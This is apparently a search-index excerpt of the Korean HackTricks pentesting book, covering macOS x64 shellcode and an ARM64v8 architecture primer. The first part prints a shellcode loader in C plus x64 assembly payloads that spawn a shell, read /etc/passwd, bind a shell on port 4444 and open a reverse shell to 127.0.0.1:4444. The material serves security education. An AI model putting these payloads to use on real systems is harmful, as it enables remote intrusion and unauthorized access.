shell.o | grep 00 | cut -f2 -d$\'\\\\t\' | sed \'s/ /\\\\\\\\x/g\' | sed \'s/^/\\\\\\\\x/g\' | sed \'s/\\\\\\\\x$//g\' 쉘코드를 테스트하기 위한 C 코드\\nc // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c\\n// gcc loader.c -o loader\\n#include \\n#include \\n#include \\n#include int (*sc)(); char shellcode[] = \\"\\"; int main(int argc, char **argv) {\\nprintf(\\"[>] Shellcode Length: %zd Bytes\\\\n\\", strlen(shellcode)); void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); if (ptr == MAP_FAILED) {\\nperror(\\"mmap\\");\\nexit(-1);\\n}\\nprintf(\\"[+] SUCCESS: mmap\\\\n\\");\\nprintf(\\" |-> Return = %p\\\\n\\", ptr); void *dst = memcpy(ptr, shellcode, sizeof(shellcode));\\nprintf(\\"[+] SUCCESS: memcpy\\\\n\\");\\nprintf(\\" |-> Return = %p\\\\n\\", dst); int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); if (status == -1) {\\nperror(\\"mprotect\\");\\nexit(-1);\\n}\\nprintf(\\"[+] SUCCESS: mprotect\\\\n\\");\\nprintf(\\" |-> Return = %d\\\\n\\", status); printf(\\"[>] Trying to execute shellcode...\\\\n\\"); sc = ptr;\\nsc(); return 0;\\n} 셸 여기 에서 가져온 내용이며 설명됩니다. with adr\\nwith stack armasm bits 64\\nglobal _main\\n_main:\\ncall r_cmd64\\ndb \'/bin/zsh\', 0\\nr_cmd64: ; the call placed a pointer to db (argv[2])\\npop rdi ; arg1 from the stack placed by the call to l_cmd64\\nxor rdx, rdx ; store null arg3\\npush 59 ; put 59 on the stack (execve syscall)\\npop rax ; pop it to RAX\\nbts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)\\nsyscall armasm bits 64\\nglobal _main _main:\\nxor rdx, rdx ; zero our RDX\\npush rdx ; push NULL string terminator\\nmov rbx, \'/bin/zsh\' ; move the path into RBX\\npush rbx ; push the path, to the stack\\nmov rdi, rsp ; store the stack pointer in RDI (arg1)\\npush 59 ; put 59 on the stack (execve syscall)\\npop rax ; pop it to RAX\\nbts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)\\nsyscall cat으로 읽기 목표는 execve(\\"/bin/cat\\", [\\"/bin/cat\\", \\"/etc/passwd\\"], NULL)를 실행하는 것입니다. 여기서 두 번째 인수(x1)는 매개변수의 배열입니다(메모리에서 이는 주소의 스택을 의미합니다). armasm bits 64\\nsection .text\\nglobal _main _main:\\n; Prepare the arguments for the execve syscall\\nsub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48` lea rdi, [rel cat_path] ; rdi will hold the address of \\"/bin/cat\\"\\nlea rsi, [rel passwd_path] ; rsi will hold the address of \\"/etc/passwd\\" ; Create inside the stack the array of args: [\\"/bin/cat\\", \\"/etc/passwd\\"]\\npush rsi ; Add \\"/etc/passwd\\" to the stack (arg0)\\npush rdi ; Add \\"/bin/cat\\" to the stack (arg1) ; Set in the 2nd argument of exec the addr of the array\\nmov rsi, rsp ; argv=rsp - store RSP\'s value in RSI xor rdx, rdx ; Clear rdx to hold NULL (no environment variables) push 59 ; put 59 on the stack (execve syscall)\\npop rax ; pop it to RAX\\nbts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)\\nsyscall ; Make the syscall section .data\\ncat_path: db \\"/bin/cat\\", 0\\npasswd_path: db \\"/etc/passwd\\", 0 sh로 명령어 호출하기 armasm bits 64\\nsection .text\\nglobal _main _main:\\n; Prepare the arguments for the execve syscall\\nsub rsp, 32 ; Create space on the stack ; Argument array\\nlea rdi, [rel touch_command]\\npush rdi ; push &\\"touch /tmp/lalala\\"\\nlea rdi, [rel sh_c_option]\\npush rdi ; push &\\"-c\\"\\nlea rdi, [rel sh_path]\\npush rdi ; push &\\"/bin/sh\\" ; execve syscall\\nmov rsi, rsp ; rsi = pointer to argument array\\nxor rdx, rdx ; rdx = NULL (no env variables)\\npush 59 ; put 59 on the stack (execve syscall)\\npop rax ; pop it to RAX\\nbts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)\\nsyscall _exit:\\nxor rdi, rdi ; Exit status code 0\\npush 1 ; put 1 on the stack (exit syscall)\\npop rax ; pop it to RAX\\nbts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)\\nsyscall section .data\\nsh_path: db \\"/bin/sh\\", 0\\nsh_c_option: db \\"-c\\", 0\\ntouch_command: db \\"touch /tmp/lalala\\", 0 Bind shell 포트 4444 에서 https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html 의 Bind shell armasm section .text\\nglobal _main\\n_main:\\n; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)\\nxor rdi, rdi\\nmul rdi\\nmov dil, 0x2\\nxor rsi, rsi\\nmov sil, 0x1\\nmov al, 0x2\\nror rax, 0x28\\nmov r8, rax\\nmov al, 0x61\\nsyscall ; struct sockaddr_in {\\n; __uint8_t sin_len;\\n; sa_family_t sin_family;\\n; in_port_t sin_port;\\n; struct in_addr sin_addr;\\n; char sin_zero[8];\\n; };\\nmov rsi, 0xffffffffa3eefdf0\\nneg rsi\\npush rsi\\npush rsp\\npop rsi ; bind(host_sockid, &sockaddr, 16)\\nmov rdi, rax\\nxor dl, 0x10\\nmov rax, r8\\nmov al, 0x68\\nsyscall ; listen(host_sockid, 2)\\nxor rsi, rsi\\nmov sil, 0x2\\nmov rax, r8\\nmov al, 0x6a\\nsyscall ; accept(host_sockid, 0, 0)\\nxor rsi, rsi\\nxor rdx, rdx\\nmov rax, r8\\nmov al, 0x1e\\nsyscall mov rdi, rax\\nmov sil, 0x3 dup2:\\n; dup2(client_sockid, 2)\\n; -> dup2(client_sockid, 1)\\n; -> dup2(client_sockid, 0)\\nmov rax, r8\\nmov al, 0x5a\\nsub sil, 1\\nsyscall\\ntest rsi, rsi\\njne dup2 ; execve(\\"//bin/sh\\", 0, 0)\\npush rsi\\nmov rdi, 0x68732f6e69622f2f\\npush rdi\\npush rsp\\npop rdi\\nmov rax, r8\\nmov al, 0x3b\\nsyscall 리버스 셸 https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html 에서 리버스 셸. 127.0.0.1:4444 로 리버스 셸. armasm section .text\\nglobal _main\\n_main:\\n; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)\\nxor rdi, rdi\\nmul rdi\\nmov dil, 0x2\\nxor rsi, rsi\\nmov sil, 0x1\\nmov al, 0x2\\nror rax, 0x28\\nmov r8, rax\\nmov al, 0x61\\nsyscall ; struct sockaddr_in {\\n; __uint8_t sin_len;\\n; sa_family_t sin_family;\\n; in_port_t sin_port;\\n; struct in_addr sin_addr;\\n; char sin_zero[8];\\n; };\\nmov rsi, 0xfeffff80a3eefdf0\\nneg rsi\\npush rsi\\npush rsp\\npop rsi ; connect(sockid, &sockaddr, 16)\\nmov rdi, rax\\nxor dl, 0x10\\nmov rax, r8\\nmov al, 0x62\\nsyscall xor rsi, rsi\\nmov sil, 0x3 dup2:\\n; dup2(sockid, 2)\\n; -> dup2(sockid, 1)\\n; -> dup2(sockid, 0)\\nmov rax, r8\\nmov al, 0x5a\\nsub sil, 1\\nsyscall\\ntest rsi, rsi\\njne dup2 ; execve(\\"//bin/sh\\", 0, 0)\\npush rsi\\nmov rdi, 0x68732f6e69622f2f\\npush rdi\\npush rsp\\npop rdi\\nxor rdx, rdx\\nmov rax, r8\\nmov al, 0x3b\\nsyscall tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to x64 » Shellcodes","id":"2093","title":"Shellcodes"},"2094":{"body":"Reading time: 31 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » Introduction to ARM64v8","id":"2094","title":"Introduction to ARM64v8"},"2095":{"body":"ARMv8 아키텍처에서 Exception Levels(EL, 예외 레벨)은 실행 환경의 권한 수준과 기능을 정의합니다. EL0부터 EL3까지 네 개의 예외 레벨이 있으며 각 레벨은 다른 목적을 가집니다: EL0 - User Mode : 가장 권한이 낮은 레벨로 일반 애플리케이션 코드를 실행하는 데 사용됩니다. EL0에서 실행되는 애플리케이션은 서로 및 시스템 소프트웨어와 격리되어 보안성과 안정성이 향상됩니다. EL1 - Operating System Kernel Mode : 대부분의 운영체제 커널이 이 레벨에서 실행됩니다. EL1은 EL0보다 더 많은 권한을 가지며 시스템 리소스에 접근할 수 있지만 시스템 무결성을 위해 일부 제한이 있습니다. EL2 - Hypervisor Mode : 가상화를 위해 사용되는 레벨입니다. EL2에서 실행되는 하이퍼바이저는 동일한 물리 하드웨어에서 여러 운영체제(각각 EL1에서 실행)를 관리할 수 있습니다. EL2는 가상화된 환경의 격리 및 제어를 위한 기능을 제공합니다. EL3 - Secure Monitor Mode : 가장 높은 권한 레벨로 보안 부팅과 신뢰 실행 환경에 자주 사용됩니다. EL3은 보안 상태와 비보안 상태 간의 접근을 관리하고 제어할 수 있습니다(예: secure boot, trusted OS 등). 이들 레벨을 사용하면 사용자 애플리케이션부터 가장 권한이 높은 시스템 소프트웨어까지 시스템의 다양한 측면을 구조적이고 안전하게 관리할 수 있습니다. ARMv8의 권한 레벨 접근 방식은 서로 다른 시스템 구성 요소를 효과적으로 격리하여 시스템의 보안성과 견고성을 향상시킵니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » Exception Levels - EL (ARM64v8)","id":"2095","title":"Exception Levels - EL (ARM64v8)"},"2096":{"body":"ARM64에는 x0부터 x30까지 표시되는 31개의 범용 레지스터 가 있습니다. 각 레지스터는 64비트 (8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 연산에서는 동일한 레지스터를 w0부터 w30 이름으로 32비트 모드로 접근할 수 있습니다. x0 to x7 - 일반적으로 스크래치 레지스터 및 서브루틴으로 전달되는 매개변수로 사용됩니다. **x0**은 함수의 반환 데이터도 담습니다. x8 - Linux 커널에서는 svc 명령어의 시스템 콜 번호로 x8을 사용합니다. macOS에서는 x16이 사용됩니다! x9 to x15 - 추가 임시 레지스터로, 로컬 변수에 자주 사용됩니다. x16 and x17 - Intra-procedural Call Registers . 즉시 값용 임시 레지스터입니다. 간접 함수 호출과 PLT(Procedure Linkage Table) 스텁에도 사용됩니다. **x16**은 macOS 에서 svc 명령어의 시스템 콜 번호 로 사용됩니다. x18 - Platform register . 범용 레지스터로 사용될 수 있지만, 일부 플랫폼에서는 플랫폼 전용 용도로 예약되어 있습니다: Windows에서는 현재 스레드 환경 블록을 가리키거나, Linux 커널에서는 현재 실행 중인 task 구조체를 가리키는 포인터 로 사용됩니다. x19 to x28 - 이들은 callee-saved 레지스터 입니다. 함수는 호출자(caller)를 위해 이들 레지스터의 값을 보존해야 하므로 스택에 저장하고 호출자에게 돌아가기 전에 복구합니다. x29 - 프레임 포인터 로 스택 프레임을 추적합니다. 함수 호출로 새 스택 프레임이 생성되면 x29 레지스터는 스택에 저장 되고, 새로운 프레임 포인터 주소(즉 sp 주소)가 이 레지스터에 저장됩니다 . 이 레지스터는 일반적으로 로컬 변수 참조 로 사용되지만 범용 레지스터 로도 사용될 수 있습니다. x30 or lr - 링크 레지스터 . BL(Branch with Link) 또는 BLR(Branch with Link to Register) 명령이 실행될 때 복귀 주소 를 보관하기 위해 pc 값을 이 레지스터에 저장합니다. 다른 레지스터처럼 사용할 수도 있습니다. 현재 함수가 새로운 함수를 호출하여 lr을 덮어쓸 예정이라면, 함수 시작 시 lr을 스택에 저장합니다(이것이 에필로그; stp x29, x30 , [sp, #-48]; mov x29, sp -> fp와 lr 저장, 공간 생성 및 새 fp 설정) 그리고 끝에서 복구합니다(이것이 프롤로그; ldp x29, x30, [sp], #48; ret -> fp와 lr을 복구하고 반환). sp - 스택 포인터 , 스택의 최상단을 추적하는 데 사용됩니다. sp 값은 항상 최소한 쿼드워드(quadword) 정렬을 유지해야 하며, 그렇지 않으면 정렬 예외가 발생할 수 있습니다. pc - 프로그램 카운터 , 다음 명령을 가리킵니다. 이 레지스터는 예외 발생, 예외 복귀, 분기에 의해서만 업데이트될 수 있습니다. 이 레지스터를 읽을 수 있는 일반 명령은 BL, BLR와 같이 pc 주소를 lr에 저장하는 분기-링크 명령뿐입니다. xzr - 제로 레지스터 . 32비트 형태에서는 **wzr**라고도 합니다. 0 값을 쉽게 얻기 위해 사용되거나 subs 같은 연산에서 결과를 어디에도 저장하지 않도록 할 때 유용합니다(예: subs XZR, Xn, #10 ). Wn 레지스터들은 Xn 레지스터의 32비트 버전입니다. tip X0부터 X18까지의 레지스터는 휘발성(volatile)이며 함수 호출과 인터럽트에 의해 값이 변경될 수 있습니다. 반면 X19부터 X28까지의 레지스터는 비휘발성(non-volatile)이며 함수 호출 간에 값이 보존되어야 합니다(\\"callee saved\\").","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » Registers (ARM64v8)","id":"2096","title":"Registers (ARM64v8)"},"2097":{"body":"또한 최적화된 SIMD(single instruction multiple data) 연산과 부동소수점 연산에 사용되는 128비트 길이의 32개 레지스터 가 있습니다. 이들은 Vn 레지스터라고 불리지만, 64 , 32 , 16 , 8 비트 단위로도 동작할 수 있으며 그때는 각각 Qn , Dn , Sn , Hn , **Bn**이라고 불립니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » SIMD and Floating-Point Registers","id":"2097","title":"SIMD and Floating-Point Registers"},"2098":{"body":"**수백 개의 시스템 레지스터(특수 목적 레지스터, SPRs)**가 프로세서 동작을 모니터링 하고 제어 하는 데 사용됩니다. 이들은 전용 특수 명령 **mrs**와 **msr**을 통해서만 읽거나 설정할 수 있습니다. 특수 레지스터 **TPIDR_EL0**와 **TPIDDR_EL0**는 리버싱(리버스 엔지니어링) 시 자주 발견됩니다. EL0 접미사는 레지스터에 접근할 수 있는 최소 예외 레벨을 나타냅니다(이 경우 EL0은 일반 프로그램이 실행되는 보통 권한 레벨입니다). 이 레지스터들은 종종 스레드 로컬 스토리지(thread-local storage) 영역의 베이스 주소를 저장하는 데 사용됩니다. 일반적으로 첫 번째는 EL0에서 읽기/쓰기가 가능하지만 두 번째는 EL0에서 읽기만 가능하고 EL1(커널)에서 쓰기가 가능합니다. mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0 msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » System Registers","id":"2098","title":"System Registers"},"2099":{"body":"PSTATE 는 여러 프로세스 구성 요소를 운영체제에서 볼 수 있는 SPSR_ELx 특수 레지스터에 직렬화하여 포함합니다. 여기서 X는 트리거된 예외의 권한 레벨 입니다(예외가 끝날 때 프로세스 상태를 복구할 수 있게 함). 접근 가능한 필드는 다음과 같습니다: N , Z , C , V 조건 플래그: N : 연산 결과가 음수였음을 의미 Z : 연산 결과가 0이었음을 의미 C : 연산에서 캐리가 발생했음을 의미 V : 연산이 부호 있는 오버플로를 발생시켰음을 의미: 두 양수의 합이 음수 결과를 낼 때. 두 음수의 합이 양수 결과를 낼 때. 뺄셈에서 큰 음수를 작은 양수에서 빼거나 그 반대의 경우 결과가 해당 비트 크기로 표현할 수 없을 때. 프로세서가 연산이 부호 있는지 무부호인지 알 수 없기 때문에, 연산에서 C와 V를 확인하여 캐리 발생 여부를 표시합니다. warning 모든 명령이 이러한 플래그를 갱신하는 것은 아닙니다. **CMP**나 TST 같은 명령은 갱신하고, s 접미사가 붙은 ADDS 같은 명령도 갱신합니다. 현재 레지스터 폭 (nRW) 플래그 : 이 플래그가 0이면, 프로그램은 재개되었을 때 AArch64 실행 상태에서 실행됩니다. 현재 Exception Level ( EL ): EL0에서 실행되는 일반 프로그램은 값 0을 가집니다. 단일 스텝(single stepping) 플래그 ( SS ): 디버거가 예외를 통해 **SPSR_ELx**에 SS 플래그를 1로 설정하여 단일 스텝을 수행할 때 사용됩니다. 프로그램은 한 단계 실행한 후 단일 스텝 예외를 발생시킵니다. 불법 예외 상태 플래그 ( IL ): 특권 소프트웨어가 잘못된 예외 레벨 전이를 수행할 때 표시하는 플래그이며, 이 플래그가 1로 설정되면 프로세서는 불법 상태 예외를 트리거합니다. DAIF 플래그: 이 플래그들은 특권 프로그램이 특정 외부 예외를 선택적으로 마스킹할 수 있도록 합니다. **A**가 1이면 비동기 aborts 가 트리거됩니다. **I**는 외부 하드웨어 Interrupt Requests (IRQs)에 대한 응답을 구성합니다. **F**는 Fast Interrupt Requests (FIQs)에 관련됩니다. 스택 포인터 선택 플래그 ( SPS ): EL1 이상에서 실행되는 특권 프로그램은 자신만의 스택 포인터 레지스터와 사용자 모델의 스택 포인터(SP_EL1과 EL0 등) 사이를 전환할 수 있습니다. 이 전환은 SPSel 특수 레지스터에 작성하여 수행됩니다. 이 작업은 EL0에서는 수행할 수 없습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » PSTATE","id":"2099","title":"PSTATE"},"21":{"body":"caution 이 책 \'HackTricks\'는 교육 및 정보 제공 목적으로만 작성되었습니다. 이 책의 내용은 \'있는 그대로\' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 묵시적인 어떠한 진술이나 보증도 하지 않습니다. 그러므로 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다. 저자와 출판사는 이 책의 사용으로 인해 발생하는 데이터 손실이나 이익 손실을 포함하여, 간접적이거나 결과적인 손실 또는 손해에 대해 어떠한 경우에도 책임을 지지 않습니다. 또한, 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법적이거나 비윤리적인 활동을 용납하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다. 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임이 있으며, 이 책에 설명된 기술이나 팁을 구현하려고 할 때는 항상 전문가의 조언과 도움을 구해야 합니다. 이 책을 사용함으로써 사용자는 이 책이나 그 안에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해에 대해 저자와 출판사를 면책하는 데 동의합니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"HackTricks Values & FAQ » 면책 조항","id":"21","title":"면책 조항"},"210":{"body":"IPv6 주소는 네트워크 조직 및 장치 상호 작용을 향상시키기 위해 구조화되어 있습니다. IPv6 주소는 다음과 같이 나뉩니다: 네트워크 접두사 : 네트워크 세그먼트를 결정하는 처음 48비트. 서브넷 ID : 네트워크 내 특정 서브넷을 정의하는 데 사용되는 다음 16비트. 인터페이스 식별자 : 서브넷 내에서 장치를 고유하게 식별하는 마지막 64비트. IPv6는 IPv4에서 발견되는 ARP 프로토콜을 생략하지만, 두 가지 주요 메시지를 가진 ICMPv6 를 도입합니다: 이웃 요청 (NS) : 주소 해결을 위한 멀티캐스트 메시지. 이웃 광고 (NA) : NS에 대한 유니캐스트 응답 또는 자발적인 발표. IPv6는 또한 특별한 주소 유형을 포함합니다: 루프백 주소 (::1) : IPv4의 127.0.0.1에 해당하며, 호스트 내에서의 내부 통신을 위해 사용됩니다. 링크-로컬 주소 (FE80::/10) : 인터넷 라우팅이 아닌 로컬 네트워크 활동을 위해 사용됩니다. 동일한 로컬 네트워크의 장치들은 이 범위를 사용하여 서로를 발견할 수 있습니다.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » 네트워크","id":"210","title":"네트워크"},"2100":{"body":"ARM64 호출 규약은 함수의 첫 여덟 개 매개변수 가 레지스터 **x0부터 x7**에 전달된다고 규정합니다. 추가 매개변수는 스택 에 전달됩니다. 반환값 은 레지스터 **x0**에 전달되며, 128비트인 경우 **x1**에도 전달될 수 있습니다. **x19**부터 x30 및 sp 레지스터들은 함수 호출 간에 보존되어야 합니다. 어셈블리에서 함수를 읽을 때는 함수의 prologue와 epilogue 를 찾으세요. prologue 는 보통 프레임 포인터(x29)를 저장 , 새 프레임 포인터 설정 , 그리고 스택 공간 할당 을 포함합니다. epilogue 는 보통 저장된 프레임 포인터를 복원 하고 함수에서 복귀 하는 작업을 포함합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » Calling Convention (ARM64v8)","id":"2100","title":"Calling Convention (ARM64v8)"},"2101":{"body":"Swift는 자체적인 calling convention 을 가지고 있으며 이는 다음에서 확인할 수 있습니다: https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to ARM64v8 » Calling Convention in Swift","id":"2101","title":"Calling Convention in Swift"},"2102":{"body":"ARM64 명령은 일반적으로 opcode dst, src1, src2 형식을 가지며, 여기서 **opcode**는 수행할 연산(예: add, sub, mov 등), **dst**는 결과가 저장될 목적지 레지스터, **src1**과 **src2**는 소스 레지스터입니다. 즉시 값(immediate)도 소스 레지스터 대신 사용할 수 있습니다. mov : 한 레지스터 에서 다른 레지스터 로 값을 이동 합니다. 예: mov x0, x1 — x1의 값을 x0으로 이동합니다. ldr : 메모리 에서 값을 로드하여 레지스터 에 저장합니다. 예: ldr x0, [x1] — x1이 가리키는 메모리 위치에서 값을 읽어 x0에 저장합니다. Offset mode : 원본 포인터에 오프셋을 적용하는 방식 예: ldr x2, [x1, #8] — x1 + 8 위치의 값을 x2에 로드합니다. ldr x2, [x0, x1, lsl #2] — 배열 x0에서 인덱스 x1 위치(= x1 * 4)의 객체를 x2에 로드합니다. Pre-indexed mode : 계산을 적용하고 결과를 원본에 저장합니다. ldr x2, [x1, #8]! — x1 + 8의 값을 x2에 로드하고 x1에 x1 + 8을 저장합니다. str lr, [sp, #-4]! — 링크 레지스터를 sp에 저장하고 sp를 업데이트합니다. Post-index mode : 메모리 주소에 먼저 접근한 다음 오프셋을 계산하여 저장합니다. ldr x0, [x1], #8 — x1 위치의 값을 x0에 로드하고 x1을 x1 + 8로 업데이트합니다. PC-relative addressing : 로드할 주소를 PC 레지스터를 기준으로 계산합니다. ldr x1, =_start — 현재 PC와 관련하여 _start 심볼의 주소를 x1에 로드합니다. str : 레지스터 의 값을 메모리 에 저장합니다. 예: str x0, [x1] — x0의 값을 x1이 가리키는 메모리 위치에 저장합니다. ldp : Load Pair of Registers . 연속된 메모리 위치에서 두 레지스터를 로드 합니다. 메모리 주소는 보통 다른 레지스터의 값에 오프셋을 더하여 형성됩니다. 예: ldp x0, x1, [x2] — x2와 x2 + 8 위치에서 각각 x0과 x1을 로드합니다. stp : Store Pair of Registers . 연속된 메모리 위치에 두 레지스터를 저장 합니다. 예: stp x0, x1, [sp] — x0과 x1을 sp와 sp + 8 위치에 저장합니다. stp x0, x1, [sp, #16]! — x0과 x1을 sp+16과 sp+24 위치에 저장하고 sp를 sp+16으로 업데이트합니다. add : 두 레지스터의 값을 더하여 결과를 레지스터에 저장합니다. 문법: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX] Xn1 -> 목적지 Xn2 -> 오퍼랜드 1 Xn3 | #imm -> 오퍼랜드 2 (레지스터 또는 즉시값) [shift #N | RRX] -> 쉬프트 수행 또는 RRX 호출 예: add x0, x1, x2 — x1과 x2의 값을 더하여 x0에 저장합니다. add x5, x5, #1, lsl #12 — 이는 4096과 같습니다(1을 12번 왼쪽으로 쉬프트). adds : add를 수행하고 플래그를 업데이트합니다. sub : 두 레지스터의 값을 빼서 결과를 레지스터에 저장합니다. add 문법과 유사합니다. 예: sub x0, x1, x2 — x1에서 x2를 빼서 결과를 x0에 저장합니다. subs : 플래그를 업데이트하는 sub와 같습니다. mul : 두 레지스터 값을 곱하여 결과를 레지스터에 저장합니다. 예: mul x0, x1, x2 — x1과 x2를 곱하여 x0에 저장합니다. div : 한 레지스터의 값을 다른 레지스터로 나누어 결과를 레지스터에 저장합니다. 예: div x0, x1, x2 — x1을 x2로 나누어 x0에 저장합니다. lsl , lsr , asr , ror, rrx : Logical shift left : 끝부분에 0을 채워 다른 비트를 앞으로 이동(2의 배수 곱셈 효과) Logical shift right : 시작 부분에 0을 채워 다른 비트를 뒤로 이동(무부호에서 2의 배수로 나눔) Arithmetic shift right : lsr과 유사하나 최상위 비트가 1이면 1로 채워짐(부호 있는 나눗셈) Rotate right : lsr과 유사하나 오른쪽에서 제거된 비트를 왼쪽에 붙임 Rotate Right with Extend : ror과 유사하지만 캐리 플래그를 \\"최상위 비트\\"로 사용합니다. 따라서 캐리 플래그는 비트 31로 이동하고 제거된 비트는 캐리 플래그로 이동합니다. bfm : Bit Field Move , 이 연산은 값의 비트 0...n을 복사하여 위치 **m..m+n**에 넣습니다. **#s**는 왼쪽 끝 비트 위치를, **#r**은 오른쪽으로 회전할 양을 지정합니다. Bitfield move: BFM Xd, Xn, #r Signed Bitfield move: SBFM Xd, Xn, #r, #s Unsigned Bitfield move: UBFM Xd, Xn, #r, #s Bitfield Extract and Insert: 한 레지스터의 비트필드를 복사하여 다른 레지스터에 복사합니다. BFI X1, X2, #3, #4 : X2의 4비트를 X1의 3번째 비트 위치에 삽입 BFXIL X1, X2, #3, #4 : X2의 3번째 비트부터 4비트를 추출하여 X1에 복사 SBFIZ X1, X2, #3, #4 : X2의 4비트를 부호 확장하여 X1의 비트 위치 3부터 삽입하고 오른쪽 비트는 0으로 설정 SBFX X1, X2, #3, #4 : X2의 3번째 비트부터 4비트를 추출하여 부호 확장 후 X1에 저장 UBFIZ X1, X2, #3, #4 : X2의 4비트를 0으로 확장하여 X1의 비트 위치 3부터 삽입하고 오른쪽 비트는 0으로 설정 UBFX X1, X2, #3, #4 : X2의 3번째 비트부터 4비트를 추출하여 0 확장된 결과를 X1에 저장 Sign Extend To X: 값의 부호를 확장(또는 무부호의 경우 0을 추가)하여 64비트 연산 가능하게 함: SXTB X1, W2 : W2의 바이트를 부호 확장하여 X1에 채워 64비트로 만듦 SXTH X1, W2 : 16비트 값을 부호 확장하여 X1에 채워 64비트로 만듦 SXTW X1, W2 : W2의 값을 부호 확장하여 X1에 채워 64비트로 만듦 UXTB X1, W2 : 무부호로 0을 추가하여 W2의 바이트를 X1에 채워 64비트로 만듦 extr : 지정된 레지스터 쌍을 연결한 비트들에서 비트를 추출합니다. 예: EXTR W3, W2, W1, #3 — W1+W2를 연결한 후 W2의 비트 3부터 W1의 비트 3까지를 추출하여 W3에 저장합니다. cmp : 두 레지스터를 비교하고 조건 플래그를 설정합니다. 이는 **subs**의 별칭(alias)으로 목적지 레지스터를 제로 레지스터로 설정합니다. 두 값이 같은지 확인할 때 유용합니다. subs와 동일한 문법을 지원합니다. 예: cmp x0, x1 — x0과 x1을 비교하여 조건 플래그를 설정합니다. cmn : 음수 피연산자 비교. 이는 **adds**의 별칭으로 동일한 문법을 지원합니다. m == -n인지 확인할 때 유용합니다. ccmp : 조건부 비교. 이전 비교가 참일 때만 수행되는 비교로 nzcv 비트를 설정합니다. cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> 만약 x1 != x2 이고 x3 < x4 라면 func로 점프 이는 **ccmp**가 이전 cmp가 NE(not equal)인 경우에만 실행되기 때문입니다. 그렇지 않으면 nzcv 비트는 0으로 설정되어 blt 비교를 만족시키지 않습니다. 이는 ccmn(음수 비교 버전)으로도 사용 가능합니다. tst : ANDS를 수행하되 결과를 저장하지 않는 방식으로 레지스터의 비트 중 지정된 값과 겹치는 1 비트가 있는지 검사합니다. 레지스터의 특정 비트들이 1인지 확인할 때 유용합니다. 